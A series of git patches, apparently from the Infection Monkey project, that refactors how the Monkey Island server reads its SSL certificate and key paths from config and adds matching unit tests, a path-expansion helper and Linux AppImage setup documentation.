b/monkey/monkey_island/cc/server_utils/consts.py @@ -50,3 +50,8 @@ def _get_monkey_island_abs_path() -> str: DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) DEFAULT_KEY_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) + +DEFAULT_CERTIFICATE_PATHS = { + "ssl_certificate_file": DEFAULT_CRT_PATH, + "ssl_certificate_key_file": DEFAULT_KEY_PATH, +} diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 66415994408..fb94e639643 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -3,6 +3,7 @@ import os from monkey_island.cc.server_utils.consts import ( + DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, DEFAULT_DATA_DIR, DEFAULT_KEY_PATH, @@ -24,10 +25,14 @@ def __init__(self, config_contents: dict): ).get("start_mongodb", DEFAULT_START_MONGO_DB) self.crt_path = IslandConfigOptions._expand_path( - config_contents.get("cert_path", DEFAULT_CRT_PATH) + config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( + "ssl_certificate_file", DEFAULT_CRT_PATH + ) ) self.key_path = IslandConfigOptions._expand_path( - config_contents.get("key_path", DEFAULT_KEY_PATH) + config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( + "ssl_certificate_key_file", DEFAULT_KEY_PATH + ) ) @staticmethod From 4f601ca5dc57593ef1f159ede7caa142c42236f3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 20:10:25 +0530 Subject: [PATCH 0699/1360] Pass file paths to setup_certificate() instead of IslandConfigOptions --- monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/cc/setup/certificate_setup.py | 6 +----- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index fbd61982a98..63918f567a7 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -83,7 +83,7 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) populate_exporter_list() app = init_app(MONGO_URL) - crt_path, key_path = setup_certificate(config_options) + crt_path, key_path = setup_certificate(config_options.crt_path, config_options.key_path) init_collections() diff --git a/monkey/monkey_island/cc/setup/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate_setup.py index 1eaab4f044b..273bbee1bff 100644 --- a/monkey/monkey_island/cc/setup/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate_setup.py @@ -4,15 +4,11 @@ ensure_file_existence, ensure_file_permissions, ) -from monkey_island.cc.setup.island_config_options import IslandConfigOptions logger = logging.getLogger(__name__) -def setup_certificate(config_options: IslandConfigOptions) -> (str, str): - crt_path = config_options.crt_path - key_path = config_options.key_path - +def setup_certificate(crt_path: str, key_path: str) -> (str, str): for file in [crt_path, key_path]: ensure_file_existence(file) ensure_file_permissions(file) From a42040343b4056aa3d5cde4420e7d1aa8c154ca4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 11:07:04 -0400 Subject: [PATCH 0700/1360] docs: Add a skeleton setup page for Linux AppImage package --- docs/content/setup/linux.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 docs/content/setup/linux.md diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md new file mode 100644 index 00000000000..d844d3d9eaf --- /dev/null +++ b/docs/content/setup/linux.md @@ -0,0 +1,14 @@ +--- +title: "Linux" +date: 2020-05-26T20:57:28+03:00 +draft: false +pre: ' ' +weight: 4 +tags: ["setup", "AppImage", "linux"] +--- + +## Supported operating systems + +## Deployment + +## Upgrading From 871fce1549d97f0b843b4a124a218ea68a9095bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 11:08:10 -0400 Subject: [PATCH 0701/1360] docs: Add setup instructions for linux AppImage package --- docs/content/setup/linux.md | 66 +++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index d844d3d9eaf..a5ad1f99bc0 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -11,4 +11,70 @@ tags: ["setup", "AppImage", "linux"] ## Deployment +1. Make the AppImage package executable: + ```bash + chmod u+x Infection_Monkey_v1.11.0.AppImage + ``` +1. Start Monkey Island by running the Infection Monkey AppImage package: + ```bash + ./Infection_Monkey_v1.11.0.AppImage + ``` +1. Access the Monkey Island web UI by pointing your browser at + `https://localhost:5000`. + +### Start Monkey Island with user-provided certificate + +By default, Infection Monkey comes with a [self-signed SSL +certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user provide Infection Monkey with a certificate that has been signed by a +private certificate authority. + +1. Run the Infection Monkey AppImage package with the `--setup-only` flag to + populate the `$HOME/.monkey_island` directory with a default + `server_config.json` file. + + ```bash + ./Infection_Monkey_v1.11.0.AppImage --setup-only + ``` + +1. (Optional but recommended) Move your `.crt` and `.key` files to + `$HOME/.monkey_island`. + +1. Make sure that your `.crt` and `.key` files are read-only and readable only + by you. + + ```bash + chmod 400 $HOME/.monkey_island/{*.key,*.crt} + ``` + +1. Edit `$HOME/.monkey_island/server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "data_dir": "~/.monkey_island", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "linux" + }, + "mongodb": { + "start_mongodb": true + }, + "ssl_certificate": { + "ssl_certificate_file": "", + "ssl_certificate_key_file": "", + } + } + ``` + +1. Start Monkey Island by running the Infection Monkey AppImage package: + ```bash + ./Infection_Monkey_v1.11.0.AppImage + ``` + +1. Access the Monkey Island web UI by pointing your browser at + `https://localhost:5000`. + ## Upgrading From eb044207da8626dd1da7945392180aa0bcbd6831 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 11:10:41 -0400 Subject: [PATCH 0702/1360] docs: Small change to docker setup to keep consistent with linux.md --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index e325de0027e..dc4067589ca 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -82,7 +82,7 @@ been signed by a private certificate authority. guardicore/monkey-island:1.10.0 --setup-only ``` -1. (Optional but recommended) Copy your `.crt` and `.key` files to `./monkey_island_data`. +1. (Optional but recommended) Move your `.crt` and `.key` files to `./monkey_island_data`. 1. Make sure that your `.crt` and `.key` files are read-only and readable only by you. From ea0d6f0141032af9f95215c9af8e13bf7892e77a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 12:14:49 -0400 Subject: [PATCH 0703/1360] island: Add a generalized testing function to test_island_config_options --- .../monkey_island/cc/setup/test_island_config_options.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index ae26d5145d2..df3c0dabd89 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -51,8 +51,12 @@ def set_home_env(monkeypatch, tmpdir): def assert_island_config_options_data_dir_equals(config_file_contents, expected_data_dir): + assert_island_config_option_equals(config_file_contents, "data_dir", expected_data_dir) + + +def assert_island_config_option_equals(config_file_contents, option_name, expected_value): options = IslandConfigOptions(config_file_contents) - assert options.data_dir == expected_data_dir + assert getattr(options, option_name) == expected_value def test_island_config_options__log_level(): From f2a2efc2a7d5f0844e2b566d9f981ba881e88cd2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 12:30:03 -0400 Subject: [PATCH 0704/1360] island: Remove redundant "test_island_config_options" from tests The file is named "test_island_config_options.py". Including "island_config_options" in every test/function name is reduntant. --- .../cc/setup/test_island_config_options.py | 34 +++++++++---------- 1 file changed, 16 insertions(+), 18 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index df3c0dabd89..79cd15f251a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -18,30 +18,28 @@ TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"mongodb": {}} -def test_island_config_options__data_dir_specified(): - assert_island_config_options_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_SPECIFIED, "/tmp") +def test_data_dir_specified(): + assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_SPECIFIED, "/tmp") -def test_island_config_options__data_dir_uses_default(): - assert_island_config_options_data_dir_equals( - TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR - ) +def test_data_dir_uses_default(): + assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR) -def test_island_config_options__data_dir_expanduser(monkeypatch, tmpdir): +def test_data_dir_expanduser(monkeypatch, tmpdir): set_home_env(monkeypatch, tmpdir) DATA_DIR_NAME = "test_data_dir" - assert_island_config_options_data_dir_equals( + assert_data_dir_equals( {"data_dir": os.path.join("~", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) ) -def test_island_config_options__data_dir_expandvars(monkeypatch, tmpdir): +def test_data_dir_expandvars(monkeypatch, tmpdir): set_home_env(monkeypatch, tmpdir) DATA_DIR_NAME = "test_data_dir" - assert_island_config_options_data_dir_equals( + assert_data_dir_equals( {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) ) @@ -50,26 +48,26 @@ def set_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) -def assert_island_config_options_data_dir_equals(config_file_contents, expected_data_dir): +def assert_data_dir_equals(config_file_contents, expected_data_dir): assert_island_config_option_equals(config_file_contents, "data_dir", expected_data_dir) -def assert_island_config_option_equals(config_file_contents, option_name, expected_value): - options = IslandConfigOptions(config_file_contents) - assert getattr(options, option_name) == expected_value - - -def test_island_config_options__log_level(): +def test_log_level(): options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) assert options.log_level == "test" options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) assert options.log_level == DEFAULT_LOG_LEVEL -def test_island_config_options__mongodb(): +def test_mongodb(): options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) assert not options.start_mongodb options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) assert options.start_mongodb == DEFAULT_START_MONGO_DB options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) assert options.start_mongodb == DEFAULT_START_MONGO_DB + + +def assert_island_config_option_equals(config_file_contents, option_name, expected_value): + options = IslandConfigOptions(config_file_contents) + assert getattr(options, option_name) == expected_value From 4231f316db86eb19ec07a63b15b22a94f8d3d653 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 12:41:11 -0400 Subject: [PATCH 0705/1360] island: Add tests for ssl_certificate_file --- .../cc/setup/test_island_config_options.py | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index 79cd15f251a..7219ba0fd9d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -1,6 +1,7 @@ import os from monkey_island.cc.server_utils.consts import ( + DEFAULT_CRT_PATH, DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, @@ -11,6 +12,10 @@ "data_dir": "/tmp", "log_level": "test", "mongodb": {"start_mongodb": False}, + "ssl_certificate": { + "ssl_certificate_file": "/tmp/test.crt", + "ssl_certificate_key_file": "/tmp/test.key", + }, } TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED = {} @@ -68,6 +73,43 @@ def test_mongodb(): assert options.start_mongodb == DEFAULT_START_MONGO_DB +def test_crt_path_uses_default(): + assert_ssl_certificate_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_CRT_PATH) + + +def test_crt_path_specified(): + assert_ssl_certificate_file_equals( + TEST_CONFIG_FILE_CONTENTS_SPECIFIED, + TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_file"], + ) + + +def test_crt_path_expanduser(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + FILE_NAME = "test.crt" + + assert_ssl_certificate_file_equals( + {"ssl_certificate": {"ssl_certificate_file": os.path.join("~", FILE_NAME)}}, + os.path.join(tmpdir, FILE_NAME), + ) + + +def test_crt_path_expandvars(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + FILE_NAME = "test.crt" + + assert_ssl_certificate_file_equals( + {"ssl_certificate": {"ssl_certificate_file": os.path.join("$HOME", FILE_NAME)}}, + os.path.join(tmpdir, FILE_NAME), + ) + + +def assert_ssl_certificate_file_equals(config_file_contents, expected_ssl_certificate_file): + assert_island_config_option_equals( + config_file_contents, "crt_path", expected_ssl_certificate_file + ) + + def assert_island_config_option_equals(config_file_contents, option_name, expected_value): options = IslandConfigOptions(config_file_contents) assert getattr(options, option_name) == expected_value From f0a109a14519d09518a32796b728c2108b7316a2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 12:53:32 -0400 Subject: [PATCH 0706/1360] island: Add tests for ssl_certificate_key_file --- .../cc/setup/test_island_config_options.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index 7219ba0fd9d..193cc7350e0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -3,6 +3,7 @@ from monkey_island.cc.server_utils.consts import ( DEFAULT_CRT_PATH, DEFAULT_DATA_DIR, + DEFAULT_KEY_PATH, DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) @@ -110,6 +111,43 @@ def assert_ssl_certificate_file_equals(config_file_contents, expected_ssl_certif ) +def test_key_path_uses_default(): + assert_ssl_certificate_key_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_KEY_PATH) + + +def test_key_path_specified(): + assert_ssl_certificate_key_file_equals( + TEST_CONFIG_FILE_CONTENTS_SPECIFIED, + TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_key_file"], + ) + + +def test_key_path_expanduser(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + FILE_NAME = "test.key" + + assert_ssl_certificate_key_file_equals( + {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("~", FILE_NAME)}}, + os.path.join(tmpdir, FILE_NAME), + ) + + +def test_key_path_expandvars(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + FILE_NAME = "test.key" + + assert_ssl_certificate_key_file_equals( + {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("$HOME", FILE_NAME)}}, + os.path.join(tmpdir, FILE_NAME), + ) + + +def assert_ssl_certificate_key_file_equals(config_file_contents, expected_ssl_certificate_file): + assert_island_config_option_equals( + config_file_contents, "key_path", expected_ssl_certificate_file + ) + + def assert_island_config_option_equals(config_file_contents, option_name, expected_value): options = IslandConfigOptions(config_file_contents) assert getattr(options, option_name) == expected_value From e4866b1286b9c3d7e98e2df78f741f11295e0764 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 12:57:42 -0400 Subject: [PATCH 0707/1360] island: Change _expand_path() from a static to regular function _expand_path() is a utility function used by IslandConfigOptions. It doesn't need to be part of the class. It can potentially be reused by other modules that require the same functionality. --- .../cc/setup/island_config_options.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index fb94e639643..c497af529e5 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -14,9 +14,7 @@ class IslandConfigOptions: def __init__(self, config_contents: dict): - self.data_dir = IslandConfigOptions._expand_path( - config_contents.get("data_dir", DEFAULT_DATA_DIR) - ) + self.data_dir = _expand_path(config_contents.get("data_dir", DEFAULT_DATA_DIR)) self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) @@ -24,17 +22,17 @@ def __init__(self, config_contents: dict): "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} ).get("start_mongodb", DEFAULT_START_MONGO_DB) - self.crt_path = IslandConfigOptions._expand_path( + self.crt_path = _expand_path( config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( "ssl_certificate_file", DEFAULT_CRT_PATH ) ) - self.key_path = IslandConfigOptions._expand_path( + self.key_path = _expand_path( config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( "ssl_certificate_key_file", DEFAULT_KEY_PATH ) ) - @staticmethod - def _expand_path(path: str) -> str: - return os.path.expandvars(os.path.expanduser(path)) + +def _expand_path(path: str) -> str: + return os.path.expandvars(os.path.expanduser(path)) From 0519153aaf7df97068d16e32a7e2b73cdb9c948e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 13:04:38 -0400 Subject: [PATCH 0708/1360] island: Move _expand_path() to file_utils.py so it can be reused --- monkey/monkey_island/cc/server_utils/file_utils.py | 5 +++++ .../monkey_island/cc/setup/island_config_options.py | 13 ++++--------- 2 files changed, 9 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/server_utils/file_utils.py diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py new file mode 100644 index 00000000000..225fb8732a0 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -0,0 +1,5 @@ +import os + + +def expand_path(path: str) -> str: + return os.path.expandvars(os.path.expanduser(path)) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index c497af529e5..9704e5f4553 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,7 +1,5 @@ from __future__ import annotations -import os - from monkey_island.cc.server_utils.consts import ( DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, @@ -10,11 +8,12 @@ DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) +from monkey_island.cc.server_utils.file_utils import expand_path class IslandConfigOptions: def __init__(self, config_contents: dict): - self.data_dir = _expand_path(config_contents.get("data_dir", DEFAULT_DATA_DIR)) + self.data_dir = expand_path(config_contents.get("data_dir", DEFAULT_DATA_DIR)) self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) @@ -22,17 +21,13 @@ def __init__(self, config_contents: dict): "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} ).get("start_mongodb", DEFAULT_START_MONGO_DB) - self.crt_path = _expand_path( + self.crt_path = expand_path( config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( "ssl_certificate_file", DEFAULT_CRT_PATH ) ) - self.key_path = _expand_path( + self.key_path = expand_path( config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( "ssl_certificate_key_file", DEFAULT_KEY_PATH ) ) - - -def _expand_path(path: str) -> str: - return os.path.expandvars(os.path.expanduser(path)) From 87440112975b82f3cb2747371ba3cc2ade243146 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 13:17:22 -0400 Subject: [PATCH 0709/1360] island: move set_home_env() to conftest.py so it can be reused --- .../cc/setup/test_island_config_options.py | 36 ++++++++----------- .../unit_tests/monkey_island/conftest.py | 7 ++++ 2 files changed, 21 insertions(+), 22 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index 193cc7350e0..1554980a264 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -32,28 +32,24 @@ def test_data_dir_uses_default(): assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR) -def test_data_dir_expanduser(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_data_dir_expanduser(patched_home_env): DATA_DIR_NAME = "test_data_dir" assert_data_dir_equals( - {"data_dir": os.path.join("~", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) + {"data_dir": os.path.join("~", DATA_DIR_NAME)}, + os.path.join(patched_home_env, DATA_DIR_NAME), ) -def test_data_dir_expandvars(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_data_dir_expandvars(patched_home_env): DATA_DIR_NAME = "test_data_dir" assert_data_dir_equals( - {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, os.path.join(tmpdir, DATA_DIR_NAME) + {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, + os.path.join(patched_home_env, DATA_DIR_NAME), ) -def set_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - def assert_data_dir_equals(config_file_contents, expected_data_dir): assert_island_config_option_equals(config_file_contents, "data_dir", expected_data_dir) @@ -85,23 +81,21 @@ def test_crt_path_specified(): ) -def test_crt_path_expanduser(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_crt_path_expanduser(patched_home_env): FILE_NAME = "test.crt" assert_ssl_certificate_file_equals( {"ssl_certificate": {"ssl_certificate_file": os.path.join("~", FILE_NAME)}}, - os.path.join(tmpdir, FILE_NAME), + os.path.join(patched_home_env, FILE_NAME), ) -def test_crt_path_expandvars(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_crt_path_expandvars(patched_home_env): FILE_NAME = "test.crt" assert_ssl_certificate_file_equals( {"ssl_certificate": {"ssl_certificate_file": os.path.join("$HOME", FILE_NAME)}}, - os.path.join(tmpdir, FILE_NAME), + os.path.join(patched_home_env, FILE_NAME), ) @@ -122,23 +116,21 @@ def test_key_path_specified(): ) -def test_key_path_expanduser(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_key_path_expanduser(patched_home_env): FILE_NAME = "test.key" assert_ssl_certificate_key_file_equals( {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("~", FILE_NAME)}}, - os.path.join(tmpdir, FILE_NAME), + os.path.join(patched_home_env, FILE_NAME), ) -def test_key_path_expandvars(monkeypatch, tmpdir): - set_home_env(monkeypatch, tmpdir) +def test_key_path_expandvars(patched_home_env): FILE_NAME = "test.key" assert_ssl_certificate_key_file_equals( {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("$HOME", FILE_NAME)}}, - os.path.join(tmpdir, FILE_NAME), + os.path.join(patched_home_env, FILE_NAME), ) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 037bee72bf9..f45eb3ed69b 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -6,3 +6,10 @@ @pytest.fixture(scope="module") def server_configs_dir(data_for_tests_dir): return os.path.join(data_for_tests_dir, "server_configs") + + +@pytest.fixture +def patched_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + return tmpdir From bf0fe10ea9a66551eedfb5ca9ec9f728b50eea8f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 13:18:04 -0400 Subject: [PATCH 0710/1360] island: Add unit tests for expand_path() --- .../cc/server_utils/test_file_utils.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py new file mode 100644 index 00000000000..cff7161357e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -0,0 +1,17 @@ +import os + +from monkey_island.cc.server_utils import file_utils + + +def test_expand_user(patched_home_env): + input_path = os.path.join("~", "test") + expected_path = os.path.join(patched_home_env, "test") + + assert file_utils.expand_path(input_path) == expected_path + + +def test_expand_vars(patched_home_env): + input_path = os.path.join("$HOME", "test") + expected_path = os.path.join(patched_home_env, "test") + + assert file_utils.expand_path(input_path) == expected_path From 4e1b4fbf6b85f078109fcdd5d81844b405632300 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 13:21:16 -0400 Subject: [PATCH 0711/1360] island: Replace calls to os.{expandpath,expandusers} with expand_path() --- monkey/monkey_island/cc/server_utils/consts.py | 5 +++-- monkey/monkey_island/cc/setup/config_setup.py | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 9149d81b165..02f23428d0c 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -2,6 +2,7 @@ from pathlib import Path from monkey_island.cc.environment.utils import is_windows_os +from monkey_island.cc.server_utils import file_utils __author__ = "itay.mizeretz" @@ -25,7 +26,7 @@ def _get_monkey_island_abs_path() -> str: MONKEY_ISLAND_ABS_PATH = _get_monkey_island_abs_path() -DEFAULT_DATA_DIR = os.path.expandvars(get_default_data_dir()) +DEFAULT_DATA_DIR = file_utils.expand_path(get_default_data_dir()) DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 @@ -36,7 +37,7 @@ def _get_monkey_island_abs_path() -> str: _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX ) -DEFAULT_SERVER_CONFIG_PATH = os.path.expandvars( +DEFAULT_SERVER_CONFIG_PATH = file_utils.expand_path( os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) ) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 6cc0367608f..3621ea7fc3d 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -1,9 +1,9 @@ -import os from typing import Tuple from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory +from monkey_island.cc.server_utils import file_utils from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions @@ -16,7 +16,7 @@ def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: - server_config_path = os.path.expandvars(os.path.expanduser(server_config_path)) + server_config_path = file_utils.expand_path(server_config_path) config = server_config_handler.load_server_config_from_file(server_config_path) create_secure_directory(config.data_dir, create_parent_dirs=True) return config, server_config_path From 36314f09ae6b8cee95d1545b91686eaa03da6e11 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 13:23:53 -0400 Subject: [PATCH 0712/1360] island: Use certificate provided in config, not environment variables --- monkey/monkey_island/cc/server_setup.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 63918f567a7..7e32ce26b8d 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,6 +1,5 @@ import json import logging -import os import sys from pathlib import Path from threading import Thread @@ -99,9 +98,8 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) http_server = WSGIServer( ("0.0.0.0", env_singleton.env.get_island_port()), app, - # TODO: modify next two lines? - certfile=os.environ.get("SERVER_CRT", crt_path), - keyfile=os.environ.get("SERVER_KEY", key_path), + certfile=crt_path, + keyfile=key_path, ) _log_init_info() http_server.serve_forever() From a45848ce0cca03306df248a1278cd54fa2f9ab11 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 14:07:00 -0400 Subject: [PATCH 0713/1360] island: Move file_has_expected_permissions() to file_utils.py Rename to `has_expected_permissions()` as `file_has_expected_permissions()` is now reduntant. Add unit tests --- .../cc/server_utils/file_utils.py | 7 +++++ .../cc/services/utils/file_handling.py | 10 ++----- 